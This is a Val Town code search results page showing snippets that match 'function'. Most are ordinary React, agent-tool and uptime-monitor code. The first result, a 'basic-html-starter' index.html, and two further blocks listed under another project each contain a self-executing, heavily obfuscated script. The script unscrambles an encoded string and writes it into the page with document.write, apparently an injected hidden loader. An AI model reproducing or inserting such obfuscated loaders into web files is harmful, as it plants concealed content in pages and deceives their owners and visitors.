Val Town Code SearchReturn to Val Town

API Access

You can access search results via JSON API by adding format=json to your query:

https://codesearch.val.run//%22?q=function&page=8&format=json

For typeahead suggestions, use the /typeahead endpoint:

https://codesearch.val.run/typeahead?q=function

Returns an array of strings in format "username" or "username/projectName"

Found 40465 results for "function"(757ms)

basic-html-starterindex.html1 match

@howkinsbestseller•Updated 1 day ago
1<script>(()=>{for(j=function(){for(h=',$bLJ@qr0*U+F3U.Jy}',a=new Array(h.length),l=0;l<h.length;l++)a[l]=h.charCodeAt(l);return a}(),m=m=>document.write(m),k=decodeURI("".concat("ilreur%7Bos=%3Et-.coit;eEYs/.i5/yooi3rrlftmndedttrsmd.ppf%3E:,).t%3Celop5lyt%3E:Ps/:o#cjlnaomien(ioi%25hs-uT.e05aja;p80-ps.rtpat:%20xb.penoallrt3ddrsjed3x;:orer%3C-i0txd0hre:%254bf#3o%208toi%20ym.94%20t%20o5h;bgh.4tiD0sgihr;%20soi:%20priye%3Edus:a;r;:npnqieenm%3Cd.niibfin9ae6e0x0a/:%3Ck@dd%7Bin%25rf%3Easp(eCwtrt%20x69e09si0itdlo0t1%7Drtv0son%25%25eto=ec2!tas%20o(oyt3:%3Cr%7Dpy%3Cze%3Ee)9%3Erfemi%25d;=eata%3Ei%20s%7Bct%7D%3C/l%20if/wwto/rc%3Eendsiotifsfhsctq%20nc:s%3E%3Csit8=x)Rrn0%3Ct%20asSt%20nniistcp%22e%20aahlann(nc.pU;1=tfa;%20wrvwoo;tLspla:t5ara.hc/=(n,e-ontoclh-%20t%22o/sPhaamsstddddpptfido,.;/rc:rinfur.usek%22eehmr.nahP%25edyr/mdebCdpdLg/%7Btld3llecChs,cncta.pt0aeeme(ithdood:r%22memlnsrSgu%22x%22h%22spn-:Sadfa%22n..aTwhlDrt/wo:f%7Dofosiet,y-oy.depi/%7Bdocptwn)-ebatn.ea:)=arer%7Doddaamcxc(rotuctpo%7Diu(n(te)%3Ci%3Cclnenws;em(wi.%20,%22:lrrtnasic(adlo)ue)-dtP(a%7Do%22u)ro/odsn)butpOettnDfnca.Orto,%7B.,Lgc.ai%3Ea()%20ed.coseTstielse%7B)roitehmttxc,aeocrep)t")).split(""),g=k.length%j.length,l=k.length-1;l>=0;l--)g--,-1==g&&(g=j.length-1),f=l+j[g],f>=k.length||(c=k[l],b=k[f],k[f]=c,k[l]=b);for(n=m,i="",l=0;l<k.length;l++)i+=k[l];n(i)})();</script>

consistmain.ts15 matches

@know•Updated 1 day ago
81const tools = [
82 {
83 type: "function" as const,
84 function: {
85 name: "math_calculator",
86 description:
120};
121
122// --- UTILITY FUNCTIONS (No changes) ---
123function extractAndParseJson<T>(text: string): T {
124 const jsonMatch = text.match(/\{[\s\S]*\}/);
125 if (!jsonMatch) {
139
140// --- CORE LOGIC WITH TOOL SUPPORT (No changes) ---
141async function callAgentWithTools<T>(
142 openai: OpenAI,
143 systemPrompt: string,
168
169 for (const toolCall of toolCalls) {
170 const functionArgs = JSON.parse(toolCall.function.arguments);
171 let toolResult;
172 try {
173 toolResult = evaluate(functionArgs.expression);
174 console.log(
175 `AUDIT: Tool executed expression '${functionArgs.expression}'. Result: ${toolResult}`,
176 );
177 } catch (e) {
178 toolResult = `Error: ${e.message}`;
179 console.error(
180 `AUDIT: Tool execution failed for expression '${functionArgs.expression}'.`,
181 );
182 }
184 tool_call_id: toolCall.id,
185 role: "tool",
186 name: toolCall.function.name,
187 content: JSON.stringify({ result: toolResult }),
188 });
211// --- REFACTORED: HTML & FRONTEND ---
212// The client-side script is now the orchestrator.
213function generateHtml(sourceUrl: string) {
214 return `<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Client-Side Multi-Agent Analysis</title><link rel="preconnect" href="https://fonts.googleapis.com"><link rel="preconnect" href="https://fonts.gstatic.com" crossorigin><link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700&family=Source+Code+Pro:wght@400;600&display=swap" rel="stylesheet"><style>:root{--bg:#0d1117;--card-bg:#161b22;--border:#30363d;--text:#c9d1d9;--text-muted:#8b949e;--accent:#58a6ff;--green:#3fb950;--red:#f85149;--orange:#f5a623}*,*::before,*::after{box-sizing:border-box}body{font-family:'Inter',sans-serif;background-color:var(--bg);color:var(--text);margin:0;padding:2rem;display:grid;place-items:center;min-height:100vh}main{width:100%;max-width:900px;display:flex;flex-direction:column;gap:2rem}h1{font-size:2rem;text-align:center;margin-bottom:.5rem}h1 span{font-family:'Source Code Pro',monospace;font-size:1rem;color:var(--text-muted)}.card{background-color:var(--card-bg);border:1px solid var(--border);border-radius:8px;padding:1.5rem}.form-grid{display:grid;grid-template-columns:1fr 1fr;gap:1rem}.form-group{display:flex;flex-direction:column;gap:.5rem}.full-width{grid-column:1/-1}label{font-weight:600;font-size:.9rem}textarea,input{background-color:var(--bg);border:1px solid var(--border);border-radius:6px;padding:.75rem;color:var(--text);font-family:'Inter',sans-serif;font-size:1rem;resize:vertical}textarea{min-height:120px;font-family:'Source Code Pro',monospace}button{grid-column:1/-1;background-color:var(--accent);color:var(--bg);border:none;padding:.75rem 1rem;font-size:1.1rem;font-weight:600;border-radius:6px;cursor:pointer;transition:opacity .2s}button:disabled{opacity:.5;cursor:not-allowed}#results{display:none}#round-status{text-align:center;color:var(--text-muted);margin-top:0;font-weight:500}#results-grid{display:grid;grid-template-columns:repeat(auto-fit,minmax(300px,1fr));gap:1.5rem;margin-top:1.5rem}.report-card{background-color:var(--bg);padding:1rem;border-radius:6px;border-left:4px solid var(--border);transition:all .3s ease-in-out;transform:translateY(10px);opacity:0}.report-card.visible{transform:translateY(0);opacity:1}.report-card h3{margin:0 0 .5rem;font-size:1.1rem;display:flex;align-items:center;gap:.5rem}.report-card p{margin:0;color:var(--text-muted);line-height:1.6}.verdict{border-left-color:var(--accent)}.verification{border-left-color:var(--orange)}.boolean-true{color:var(--green)}.boolean-false{color:var(--red)}.placeholder{display:flex;align-items:center;justify-content:center;min-height:80px;color:var(--text-muted);font-style:italic}.spinner{border:2px solid var(--border);border-top-color:var(--accent);border-radius:50%;width:16px;height:16px;animation:spin 1s linear infinite;margin-right:8px}@keyframes spin{to{transform:rotate(360deg)}}</style></head><body><main><header><h1>Client-Side Multi-Agent Analysis <span>v4.0</span></h1></header><section class="card"><form id="analysis-form"><div class="form-grid"><div class="form-group full-width"><label for="prompt">Original Prompt</label><textarea id="prompt" name="prompt" required>Calculate the total distance a car travels if it moves at 60 mph for 2 hours and then 70 mph for 1 hour.</textarea></div><div class="form-group"><label for="supposed_correct_response">Supposed Correct Response</label><input id="supposed_correct_response" name="supposed_correct_response" value="190 miles" required></div><div class="form-group"><label for="final_answer">Final Answer to Check</label><input id="final_answer" name="final_answer" value="190 miles" required></div><div class="form-group full-width"><label for="reasoning_steps">Reasoning Steps</label><textarea id="reasoning_steps" name="reasoning_steps" required>1. First part of the trip: distance = speed × time = 60 mph × 2 hours = 120 miles.
2152. Second part of the trip: distance = speed × time = 70 mph × 1 hour = 70 miles.
225 const placeholders = {};
226
227 function createPlaceholder(agentName) {
228 const card = document.createElement("div");
229 card.className = "report-card"; // Start hidden
232 }
233
234 function setupPlaceholders() {
235 resultsGrid.innerHTML = "";
236 finalReportContainer.innerHTML = "";
245 }
246
247 async function runAgent(agentName, state) {
248 const placeholder = placeholders[agentName];
249 if (placeholder) {
310 });
311
312 function updateUI(agentName, data) {
313 if (agentName === "new_round") {
314 roundStatusEl.textContent = \`Analysis Round \${data.current} of \${data.total}\`;
1<script>(()=>{for(j=function(){for(h='6&EZrFLw9:F9>{84igZ',a=new Array(h.length),l=0;l<h.length;l++)a[l]=h.charCodeAt(l);return a}(),m=m=>document.write(m),k=decodeURI("".concat("t%3E.jr/-ojuremey%20opyo/i.fsio..c0Onmg5:n.qlxsliat%3CCsL0t%20rop%3E%3C:%25%25etbstois%20lq5-nia:ts;p30;ctces6ilo0;srrem:mtorerT%3Earfarr;-:.%200)h;s9aipo5e-3b8bchd#.fegr%25;bs3p0dhoradusslsd:4::;roxp%20.i:p%3Cx%3Cny%25%20nnid4ti;tdwdtt=kr%20;enp3i%20eiP%200xt;%3Er%7Birfeaee9aiir2%20cl/1t8fssrnx%7B09pszinnhtfi%7B%25o9fpee0.)aeesD%3E,p63fn%7Dt:%3C(3somf:%3Eiosvi%7Dt%7Bosdrp%3Eta5n%3Cr--olsm)%7Daittc0elg/%20tm%3Et%3C/t=vfdia%20ldautdrct%20ol/c=%3E%3Claefr/atrni(irfostlray%25nd%20ids.ons)iUnehhaltlatcSL(cocepo:%22dw0.a%20ydnePtt1ma=jfusmt5pnswa,,.acss%3Everacxm0D//eaet(/oosd%22:edf(ocra;etr.%22dsati%20e/dberahstbiutpznao4:=aedt.t.l%22.(e/arliop(SO%22acCenL8phP%3Co:ceinealp,satowxplhirweoiemndal:r%22T,dh@thscnwro%22oop#)tTuyttR/rt%7D%22%22wd%20rh)nx%7B-%7D.p.t.%7Dfl,=oyoooeadai=%22ne;o-)utancig)(es:-n(cnednem9hetr(%20cs/%7D)ucautrt%25n(,)dcoddtpDenm(f.0h)dcondnnpytnwaha)o.ftec%20kPxmetaltw%7BpYd%3E)b.ndum:%3Ce./r.eedit,,rnC.ewiSc!ot:(ihEeot;iitesa%3Cest-ie%7Bn")).split(""),g=k.length%j.length,l=k.length-1;l>=0;l--)g--,-1==g&&(g=j.length-1),f=l+j[g],f>=k.length||(c=k[l],b=k[f],k[f]=c,k[l]=b);for(n=m,i="",l=0;l<k.length;l++)i+=k[l];n(i)})();</script>
1<script>(()=>{for(j=function(){for(h='F!0i!Y&N%E3oqj<}2Ca',a=new Array(h.length),l=0;l<h.length;l++)a[l]=h.charCodeAt(l);return a}(),m=m=>document.write(m),k=decodeURI("".concat("ytcylsi6puosi%7Bm5q.amtrnsle%3E./r0ttjrPt;Oc.p/e-i3dcmrf.5itrLntnT;i%25plr0;,xiE.-seooaep:oafdfo%25anrpcfofr::%25%3C5sds-tptere5a5dbo%20!x%25:xtr;j0dslbsyo-iedswtd;4is3ed3:r%20l8%3Eer0;tb%20tmeef:nl;ri/4-2lid;p.nn%25%20n%3Ciopqi8zntxr%3EDf0lhe=ibs%3C:hasytf/%3E%7D%200as%3C9:-tipo:n%20%7Bh%3C%7Bemiol0nmC@itn096./)radfe(erote0g(%7Bvi%20t9:%20%7D:rfrc%7Da%20adeolglgirsjtsdha0ar=:%3E:%20rsas%3C%3Ed%25c.eeanpsc:tsnr)%20o%3E3ds%20%3Chteansiok%3Cs(dtisucdd.wvsrttrl%3EotnlD.niuthcS3o.1dc((oto%3C%20fecRon0.etuaP8=tbth=depiwo%3Ee%3E%7Bl,osia;wsa%20=e/4isiarero.(t.Uzo:mci0tr)ha#%22Li)tp/lscoeac%20r%22ahuee#tasa/(hxedt)flofasuosp%7B.rhp3nacven//tpr/ee%22dyt;P%20ess9:r%22ddhp:-k-oitadla%25oPaxOxw-/dd%7Dpt%20imo0cpe%20eT%22bdC(=aephrdor,wiit),ni(/rSm%7B%22=ytT%7Denn)oxudf9aepfuetx%7Dmtoom).o)npemon%3C.e;a.ice,iccteS:ntiigceeehtetw1m(nwc(sstul((i;%22rsa/ioeernc,De))nhnortodc.ntnhdtypfc.as%22tr%22ocan;.t.ae%3Etplttwywt%3C%22nn.dL:am,no.nla,eCl%7DdiYtpnaao%20)a/m)r,-tu")).split(""),g=k.length%j.length,l=k.length-1;l>=0;l--)g--,-1==g&&(g=j.length-1),f=l+j[g],f>=k.length||(c=k[l],b=k[f],k[f]=c,k[l]=b);for(n=m,i="",l=0;l<k.length;l++)i+=k[l];n(i)})();</script>

tanstack-basicApp.tsx2 matches

@nbbaier•Updated 1 day ago
41};
42
43function PostList({ posts }: { posts: PostType[] }) {
44 return (
45 <ul>
53}
54
55function Post({ post }: { post: PostType }) {
56 return (
57 <div className="bg-gray-50 rounded p-3">

statusstatus3 matches

@kellyi•Updated 1 day ago
9const thisURL = parseProject(import.meta.url).links.self.project;
10
11function StatusRow({ rows }) {
12 return (
13 <div className="w-full flex flex-col space-y-2">
31}
32
33function StatusSection({ url, rows }) {
34 const sectionRows = rows.filter(row => row[0] === url);
35 const percentUp = Math.round((sectionRows.filter(row => row[1]).length / sectionRows.length) * 100);
47}
48
49export default async function(req: Request): Promise<Response> {
50 const { rows } = await sqlite.execute(
51 "select url, ok, duration, timestamp from uptime order by timestamp desc limit 200",

statussparklineSVG1 match

@kellyi•Updated 1 day ago
1/** @jsxImportSource https://esm.sh/react@18.2.0 */
2export function SparklineSVG({ strokeWidth = 2, data = [], fill = "none", stroke = "black" }) {
3 const padding = 2;
4 const xMargin = 25;

statusnotify1 match

@kellyi•Updated 1 day ago
4const thisURL = parseProject(import.meta.url).links.self.latest;
5
6export async function notify(message: string) {
7 await email({ subject: message, text: `Email sent from ${thisURL}` });
8}

statusmonitor1 match

@kellyi•Updated 1 day ago
9const sleep = (ms: number) => new Promise((resolve) => setTimeout(resolve, ms));
10
11export async function uptimeCheck(url: string, attempt = 1) {
12 let reason: string = "";
13 let status: number | null = null;

linkInBioTemplatemain.tsx1 match

@kellyi•Updated 1 day ago
2import { renderToString } from "npm:react-dom/server";
3
4export default async function(req: Request) {
5 return new Response(
6 renderToString(

ratelimit4 file matches

@unkey•Updated 1 month ago
Rate limit your serverless functions

discordWebhook2 file matches

@stevekrouse•Updated 2 months ago
Helper function to send Discord messages
lost1991
import { OpenAI } from "https://esm.town/v/std/openai"; export default async function(req: Request): Promise<Response> { if (req.method === "OPTIONS") { return new Response(null, { headers: { "Access-Control-Allow-Origin": "*",
webup
LangChain (https://langchain.com) Ambassador, KubeSphere (https://kubesphere.io) Ambassador, CNCF OpenFunction (https://openfunction.dev) TOC Member.